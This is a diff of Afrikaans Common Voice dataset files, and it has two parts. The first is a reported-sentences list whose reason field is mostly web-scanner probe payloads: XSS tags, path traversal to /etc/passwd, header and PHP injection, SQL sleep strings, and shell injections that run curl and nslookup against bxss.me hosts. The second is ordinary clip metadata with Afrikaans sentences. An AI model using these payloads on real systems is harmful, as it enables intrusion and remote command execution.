00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 11 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 12 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af HttP://bxss.me/t/xss.html?%00
|
| 13 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af bxss.me/t/xss.html?%00
|
| 14 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 15 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af DB591p3r
|
| 16 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language%0abcc:[email protected]
|
| 17 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af response.write(9959031*9751800)
|
| 18 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 19 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af [email protected]>%0d%0abcc:[email protected]
|
| 20 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '+response.write(9959031*9751800)+'
|
| 21 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af "+response.write(9959031*9751800)+"
|
| 22 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ../../../../../../../../../../../../../../etc/passwd
|
| 23 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ../../../../../../../../../../../../../../windows/win.ini
|
| 24 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af file:///etc/passwd
|
| 25 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 26 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ../offensive-language
|
| 27 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '.gethostbyname(lc('hitjb'.'xveunknm14d7d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(74).chr(110).chr(75).'
|
| 28 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ".gethostbyname(lc("hiteg"."mrjjrnha9ea16.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(80).chr(117).chr(88)."
|
| 29 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af )
|
| 30 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af !(()&&!|*|*|
|
| 31 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ^(#$!@#$)(()))******
|
| 32 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language&n912294=v947417
|
| 33 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '"()
|
| 34 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af xfs.bxss.me
|
| 35 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language'&&sleep(27*1000)*ylrgqu&&'
|
| 36 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
|
| 37 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language"&&sleep(27*1000)*haowyf&&"
|
| 38 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language'||sleep(27*1000)*yiwxyw||'
|
| 39 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language"||sleep(27*1000)*rlrfnf||"
|
| 40 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af echo aapnoe$()\ jsddgi\nz^xyu||a #' &echo aapnoe$()\ jsddgi\nz^xyu||a #|" &echo aapnoe$()\ jsddgi\nz^xyu||a #
|
| 41 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af &echo gyqick$()\ agflky\nz^xyu||a #' &echo gyqick$()\ agflky\nz^xyu||a #|" &echo gyqick$()\ agflky\nz^xyu||a #
|
| 42 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af |echo lktfkt$()\ pyatoh\nz^xyu||a #' |echo lktfkt$()\ pyatoh\nz^xyu||a #|" |echo lktfkt$()\ pyatoh\nz^xyu||a #
|
| 43 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af (nslookup -q=cname hitfsmdymwxdj769e9.bxss.me||curl hitfsmdymwxdj769e9.bxss.me))
|
| 44 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '"
|
| 45 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af 1cESyIGYO
|
| 46 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af $(nslookup -q=cname hitlpbjpdkgszb5bcd.bxss.me||curl hitlpbjpdkgszb5bcd.bxss.me)
|
| 47 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af <!--
|
| 48 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af &nslookup -q=cname hitddpromepsu75d51.bxss.me&'\"`0&nslookup -q=cname hitddpromepsu75d51.bxss.me&`'
|
| 49 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
|
| 50 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af &(nslookup -q=cname hittaycohflvi2e65a.bxss.me||curl hittaycohflvi2e65a.bxss.me)&'\"`0&(nslookup -q=cname hittaycohflvi2e65a.bxss.me||curl hittaycohflvi2e65a.bxss.me)&`'
|
| 51 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af
|
| 52 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ';print(md5(31337));$a='
|
| 53 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af |(nslookup -q=cname hittidbgqlfmdf9b89.bxss.me||curl hittidbgqlfmdf9b89.bxss.me)
|
| 54 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ";print(md5(31337));$a="
|
| 55 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language'"()&%<zzz><ScRiPt >uYUt(9052)</ScRiPt>
|
| 56 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af `(nslookup -q=cname hitcbeaotkdki325c8.bxss.me||curl hitcbeaotkdki325c8.bxss.me)`
|
| 57 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language<esi:include src="http://bxss.me/rpb.png"/>
|
| 58 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ${@print(md5(31337))}
|
| 59 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '"()&%<zzz><ScRiPt >uYUt(9585)</ScRiPt>
|
| 60 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ;(nslookup -q=cname hitgnyorwivei0feca.bxss.me||curl hitgnyorwivei0feca.bxss.me)|(nslookup -q=cname hitgnyorwivei0feca.bxss.me||curl hitgnyorwivei0feca.bxss.me)&(nslookup -q=cname hitgnyorwivei0feca.bxss.me||curl hitgnyorwivei0feca.bxss.me)
|
| 61 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ${@print(md5(31337))}\
|
| 62 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language9960229
|
| 63 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af '.print(md5(31337)).'
|
| 64 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af ${10000318+9999395}
|
| 65 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 66 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 67 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
|
| 68 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
|
| 69 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af Http://bxss.me/t/fit.txt
|
| 70 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af http://bxss.me/t/fit.txt%3F.jpg
|
| 71 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af /etc/shells
|
| 72 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af c:/windows/win.ini
|
| 73 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af bxss.me
|
| 74 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af bxss.me
|
transcript/af/test.tsv
ADDED
|
@@ -0,0 +1,132 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
3e485319d3913d8a40d3e310db2c02cb1a6487c65e25199dd64e0b46a40253fec02f2193fa28db956d297af398a2cc0da506ce5aaa7500e2179b4170967d4feb common_voice_af_42432304.mp3 33586753ae23d350f64c7573c6b58fc02e032f9abfbb8e913907b3dbbe7f7d0a Verduidelik hoe die komposisie of uitleg tot die doeltreffende oordrag van die boodskap bydra. 2 0 af
|
| 3 |
+
47575b28e5c0a38eefa0de793a6278a240f81fe802a240ec7f6ff85d667c9f82af80b60ca2f90e68b80c7542333aabeece36d6110e2ac0f74ded73ba07b327f9 common_voice_af_39016673.mp3 03732d125257f631347eafd718b3b0007c308b0d1de4b039453b22b1010787f5 Hou op jou naels kou! 2 1 teens male_masculine af
|
| 4 |
+
901b69c7eb4f714148801ba91109e387605365510b35dc57a90e8efa5ca5bc3c61b92d51625260cbb126ca8a8511e6a23a3b355ee4bb93fb675b75cc8d9fb116 common_voice_af_40682192.mp3 1576021d2851f625111ae7db37eb0d6ae2b2d1d164c36e5cf7a393fa275cae0d Identifiseer die week wanneer die koei in die laktasiekurwe hierbo haar maksimum produksie bereik. 2 0 af
|
| 5 |
+
9e52309ff8991956afa35633c924aceebb4d9cd614ad375692d9b95da650483c059efac1b4e5dc26e4f137df7c6139fa35b71ed932b8fc497fc641721a0bd6cd common_voice_af_41654037.mp3 2e2e41a5038dae63cd0f3197b5c43b92700fe953aa5c9e9dd1507e3efff43401 Intussen voorsien die Hexvallei Besproeiingsraad water aan die groep uit hul bestaande bronne. 2 0 af
|
| 6 |
+
abea62f674174129a0eabcc252cf8e2e91fa24a135ec5380c4afa65b917a15d0adcfabf8364f308b4dbc243d5d76f9c905cc4b023b230128eeaef83a917616a6 common_voice_af_41681538.mp3 000e7d0aae8e3e4bb8fff31bc947d708a27b95c6dae68a9866206ad25b751158 Gebruik inligting uit die bronne en jou eie kennis en bespreek hierdie stelling. 2 0 af
|
| 7 |
+
b97b6a861237cfe95606ca2c5947c082f08ce0420d01cd53a2281a88bb790a8aa89325f0addd6e3adea7f8381bf920b97fa7230fd8370da10892027d791f9590 common_voice_af_41654767.mp3 3943d5e41660f972c1b6323c5de6cd0eda9e7e54aab953afc885e90b6c7b4f08 Dit is die sentrale boodskap van jou teks wat jy in een sin opsom. 2 0 af
|
| 8 |
+
cbd3091ef4acd168da4bbe80e78fec8fe3ca814211f5e4268285616b0772d66e1efacad346ecaa7bb4ca06e58f87ad19342091a499128db056d2b83c8fe79a9f common_voice_af_41654268.mp3 02b3864e2d11b6771348fa272bbc4a300a6290d79eff9d21a4e7ff4c94db3a2c Daar was 'n spioen wat elke beweging dopgehou het wat hy gemaak het. 2 0 af
|
| 9 |
+
d34fe9631692172c880fe44386a905baef80f5788cd9bd8439b11c232bbe369b20241cedf188a9c624783fc70e0bdac60acc61190dcb83932336aa4fe7ae0151 common_voice_af_41652632.mp3 3d772e9b1a960b1cdd240e7aa8db1c32cbb2ccbc885f6a931897ce0f665d35ff Uitreik word veral gedoen na die Paarl-skool vir gestremdes, sowel as Helderberg-hospitaal. 2 0 Transvaal af
|
| 10 |
+
5052bd56de044b9c0d5ed978a0066ee0f9c7054396c480be601506319475ef9eb4fb9a1309a316f8387597a5157cad3ce53d6bad7f7dc91e53b3fd6cc934cb49 common_voice_af_41652400.mp3 22e120787bdf6a38c6f1ad6a3bda10400dcdea909e6abb298982f054a7ff89d2 Ou Bamboes pak weer die woord en volg op. 2 0 af
|
| 11 |
+
5052bd56de044b9c0d5ed978a0066ee0f9c7054396c480be601506319475ef9eb4fb9a1309a316f8387597a5157cad3ce53d6bad7f7dc91e53b3fd6cc934cb49 common_voice_af_41652402.mp3 3c40dc999c1874549d7850f6f60481984487faba5a250eb24c446c689ea199a3 Bespreek die verskille tussen Westerse en Oosterse idees oor godsdienstige verdraagsaamheid. 2 0 af
|
| 12 |
+
be61004195218d0e48de2cd243215f444c72082d3f18b61088173dd66bcacab9e1fa6bcd5e7e01d3c96e678ba9d9aa52d8eaee3ae88336934e747537eecbf909 common_voice_af_42393302.mp3 0862e206529e22f0c4a3cdce5033d1bf67baa55270713837475bcc9e3e5d0d12 Die dramatiese verhouding kommunikeer dat die karakters in 'n intensiewe vlak van spanning is. 3 0 Pretoria,Eerstetaal af
|
| 13 |
+
be61004195218d0e48de2cd243215f444c72082d3f18b61088173dd66bcacab9e1fa6bcd5e7e01d3c96e678ba9d9aa52d8eaee3ae88336934e747537eecbf909 common_voice_af_42393411.mp3 40fbadae5860f20c8a3aa4499985ef9d41ec4ad1b1ff3329e7c634712c9781e9 Wat is daardie ding op die toonbank? 3 0 Pretoria,Eerstetaal af
|
| 14 |
+
c9f6d56314e65d833584f69c785200337e1c2395a0b1642b648b2fe1f654fba35675b176d8afe9876ff593417e868e8511ffd3697b3252eecd3fc8ed6c9b2877 common_voice_af_41654775.mp3 3e44d3440d64799ed745f7135e46ec4e5bbf853b8b089e5904770855eb411c80 Ek het jammer gevoel vir die gesin nadat hul huis afgebrand het. 2 0 af
|
| 15 |
+
c9f6d56314e65d833584f69c785200337e1c2395a0b1642b648b2fe1f654fba35675b176d8afe9876ff593417e868e8511ffd3697b3252eecd3fc8ed6c9b2877 common_voice_af_41654777.mp3 37250bd5aaf2315279ebb2ed54fa082b6f0e0bbf69c704a49b69fa284ffc8d24 Dit is die grootste byeenkoms van belanghebbendes en besluitnemers in die mynwese ter wêreld. 2 0 af
|
| 16 |
+
74706fc96b12898baba948b1e8edde97b1fce32c52d1e7c0f9ec59645dca7a72f2751bc223fca648e789623993e8457cd84ee4d8a1fd82cbb9aedf5298eef890 common_voice_af_40485260.mp3 39893a28551719e333f0a05aab424e54408c8e3055330295a578a11657a3e83c Afrikaans of Engels kan gebruik word vir die doeleindes van interne skriftelike kommunikasie. 2 0 af
|
| 17 |
+
74706fc96b12898baba948b1e8edde97b1fce32c52d1e7c0f9ec59645dca7a72f2751bc223fca648e789623993e8457cd84ee4d8a1fd82cbb9aedf5298eef890 common_voice_af_40485261.mp3 0611e91600884c7b1bcd1e3df33397c2a0f03a2285531714634b70dc0ce3852b Suid-Afrika staan tans voor die uitdaging van mededinging in 'n onregverdige wêreldekonomie. 2 0 af
|
| 18 |
+
74706fc96b12898baba948b1e8edde97b1fce32c52d1e7c0f9ec59645dca7a72f2751bc223fca648e789623993e8457cd84ee4d8a1fd82cbb9aedf5298eef890 common_voice_af_40485262.mp3 169da0d4161e01fec887361dd2eb2abea15681b546f25246d57754627d78d8e6 Ek het nie baie vriende nie 2 0 af
|
| 19 |
+
7c580e5b3bdf7eeb06ba25b9944f01528d484d7aed8201096afefe20851173397d93a90b1874c776d0ddfaf0cbc73c31ebdad6d44747a1c4febd4584347ee109 common_voice_af_40726863.mp3 2a7eeb57a10662fbbe6c95273907c6c480820d0327b48658239449e738d6d61c Hierdie organisasies sal egter steeds deur die ontwikkelaars van die programbeleid gemonitor word. 2 0 Pretoriaans af
|
| 20 |
+
7c580e5b3bdf7eeb06ba25b9944f01528d484d7aed8201096afefe20851173397d93a90b1874c776d0ddfaf0cbc73c31ebdad6d44747a1c4febd4584347ee109 common_voice_af_40726864.mp3 2120f9ed54910988fefbe2ee5ee9dca7aeff0b2765ff66fb5be358fa491c6d9f Sy het nie enige landboukundiges oor toepaslike inligting rakende tamatieproduksie geraadpleeg nie. 2 0 Pretoriaans af
|
| 21 |
+
7c580e5b3bdf7eeb06ba25b9944f01528d484d7aed8201096afefe20851173397d93a90b1874c776d0ddfaf0cbc73c31ebdad6d44747a1c4febd4584347ee109 common_voice_af_40726865.mp3 135cbeca204d6d25fe3e32b34f434462fffbe9804aadbcea3d0ac7d02a402b45 Die meeste besproeiers betaal hierdie heffing as deel van hul betaling aan besproeiingsrade. 2 0 Pretoriaans af
|
| 22 |
+
84255e40bf1264c2674828c272e310a10a68b0834711c666bcc0ef1d57114a2c524ee2cc8297ff9c44e861a8487572c0d29d23ad778ce4c8e2aba5f7b250dd4b common_voice_af_39879080.mp3 1fb1f3e917020cb142581160d336dbe8a089227da18aff82474e53369cb8019e Dit is dus belangrik dat jou akademiese gedrag altyd eties is. 2 1 Midlandse Afrikaans af
|
| 23 |
+
84255e40bf1264c2674828c272e310a10a68b0834711c666bcc0ef1d57114a2c524ee2cc8297ff9c44e861a8487572c0d29d23ad778ce4c8e2aba5f7b250dd4b common_voice_af_39879081.mp3 0ac15fb2c776975fb7e2ab363d1d9da584a8c29a30f8be13753c05a51ac01f12 Hierdie Suid-Afrikaners verteenwoordig die hoop en deursettingsvermoë wat ons nasie kenmerk. 2 0 Midlandse Afrikaans af
|
| 24 |
+
84255e40bf1264c2674828c272e310a10a68b0834711c666bcc0ef1d57114a2c524ee2cc8297ff9c44e861a8487572c0d29d23ad778ce4c8e2aba5f7b250dd4b common_voice_af_39879082.mp3 253e064c85bf91bcaea37f85be76e89daa859b03544ed7c0c52fb6bb5b539f91 Hy lees ’n boek 2 0 Midlandse Afrikaans af
|
| 25 |
+
a2707f5cf02211695ce8564d339ff6ab178877f507e3d519e8687942f65154389405b65ce25f843af7576c57a7cfc2fe74be3daf990fc21f6776712debea0b14 common_voice_af_40485309.mp3 343949c51cfe2a7752b793452603ad5ca9e67e8a19198094a4e416e78a399358 Sy storie het trane in haar oë veroorsaak. 2 0 af
|
| 26 |
+
a2707f5cf02211695ce8564d339ff6ab178877f507e3d519e8687942f65154389405b65ce25f843af7576c57a7cfc2fe74be3daf990fc21f6776712debea0b14 common_voice_af_40485311.mp3 2597972502a20db195571ae8bbf6d7187450cc4ab5d1f8fbe58754b2b78eeaa1 Gee ’n man die pinkie, dan vat hy die hele hand 2 0 af
|
| 27 |
+
a2707f5cf02211695ce8564d339ff6ab178877f507e3d519e8687942f65154389405b65ce25f843af7576c57a7cfc2fe74be3daf990fc21f6776712debea0b14 common_voice_af_40485312.mp3 25d2bc73a1d60c2df5ad646173f4e12ff4364db09a64eaac96316ba180803411 Gister was die weer pragtig. 2 0 af
|
| 28 |
+
d3982383099fea06238cc1f2b64f789ae1ef647d21fc4b0ea9841a3e4f533f2678053c09238e5a4d1c3b15e0e017c0f4540830167a68ee39da2130f6a7431792 common_voice_af_41646220.mp3 320aac5ce25aba3149cfc013a66aed4d2f14e77aa5d5b1e39bb98dc26994a9b4 Die bestuur het ooreenkom oor korrektiewe aksies en dit word deur die Ouditkomitee gemonitor. 2 0 Weskus,Kaapstad af
|
| 29 |
+
d3982383099fea06238cc1f2b64f789ae1ef647d21fc4b0ea9841a3e4f533f2678053c09238e5a4d1c3b15e0e017c0f4540830167a68ee39da2130f6a7431792 common_voice_af_41646222.mp3 33210d9ad5b076e3e75070d72de6a9ec909f4f983a2b6435388525aaa82a5c86 Is Saul ook onder die profete? 4 0 Weskus,Kaapstad af
|
| 30 |
+
d3982383099fea06238cc1f2b64f789ae1ef647d21fc4b0ea9841a3e4f533f2678053c09238e5a4d1c3b15e0e017c0f4540830167a68ee39da2130f6a7431792 common_voice_af_41646223.mp3 00889cebe86c9ad1b8f984d99d5178629f1fa709cd44f0d89ed2715e87de8203 Verseker asseblief dat jy die korrekte hoeveelheid punte aan die vermoënsvlakke toegeken het. 4 0 Weskus,Kaapstad af
|
| 31 |
+
93dcde93043394907d2601c10f14bc19a9a5337f70db6638b98ffe38c3e498dd8c456711db28af9f3dbbde3523e52d0e556ece86a05c0762829007c10bccba9c common_voice_af_38087094.mp3 0651ff35d210de65a24c1949266538f147c28791b991f0d79661e4c95d80203d Die insigkomponente word aangedui aan die einde van die voorgestelde antwoord vir elke vraag. 2 0 af
|
| 32 |
+
93dcde93043394907d2601c10f14bc19a9a5337f70db6638b98ffe38c3e498dd8c456711db28af9f3dbbde3523e52d0e556ece86a05c0762829007c10bccba9c common_voice_af_38087095.mp3 0430ac903b9dda4936790f1484061f00edb2ffd2d183e59521f66b3d8578b7d7 Hy het skroewe gebruik om die slot aan die deur vas te maak. 2 0 af
|
| 33 |
+
93dcde93043394907d2601c10f14bc19a9a5337f70db6638b98ffe38c3e498dd8c456711db28af9f3dbbde3523e52d0e556ece86a05c0762829007c10bccba9c common_voice_af_38087097.mp3 1406031f8b60cabc809c906c2200a9a4ea9cd012b161bde7f42c86f6c02e582e In hierdie wêreld kon mens dinge vermag waaroor jy voorheen net kon droom. 2 0 af
|
| 34 |
+
93dcde93043394907d2601c10f14bc19a9a5337f70db6638b98ffe38c3e498dd8c456711db28af9f3dbbde3523e52d0e556ece86a05c0762829007c10bccba9c common_voice_af_38087098.mp3 09b4351c1827b79c45d16f1f35d115f1c27cfd1aaa8ced6c16cfceaaa976ffe7 Evalueer media- en ander invloede op persoonlike lewenstylkeuses en stel gepaste reaksies voor. 2 0 af
|
| 35 |
+
b7b78e93a9152d19bf7981b2530c410e007ea7c80bde57f95ad0bdc4bc086265fc1da8a8ed040fe3b159e3692203545e8280be25fe703651be9d599023e3370b common_voice_af_38088393.mp3 146b506b3cf29ebcfd7306fd88e0b152f2335c16da93279efe5f76d2ba2e8063 Hulle het klippe in die pad gegooi om die verkeer te belemmer. 2 0 af
|
| 36 |
+
b7b78e93a9152d19bf7981b2530c410e007ea7c80bde57f95ad0bdc4bc086265fc1da8a8ed040fe3b159e3692203545e8280be25fe703651be9d599023e3370b common_voice_af_38088394.mp3 0c3f45a167e54c635b2a195afbef7c9beb2a80b7a808eaee2841398aa9b74348 Geen mate van ekonomiese swaarkry en ontevredenheid kan sodanige misdadige gedrag regverdig nie. 2 0 af
|
| 37 |
+
b7b78e93a9152d19bf7981b2530c410e007ea7c80bde57f95ad0bdc4bc086265fc1da8a8ed040fe3b159e3692203545e8280be25fe703651be9d599023e3370b common_voice_af_38088396.mp3 0893ae6d4cea98db2b70c8c5fc73e7133bdb3a4d2c210c9f134b2902c5799a69 Die Rekenpligtige Beampte is die risiko-kampvegter en voorsitter van die Staatsbestuurskomitee. 2 0 af
|
| 38 |
+
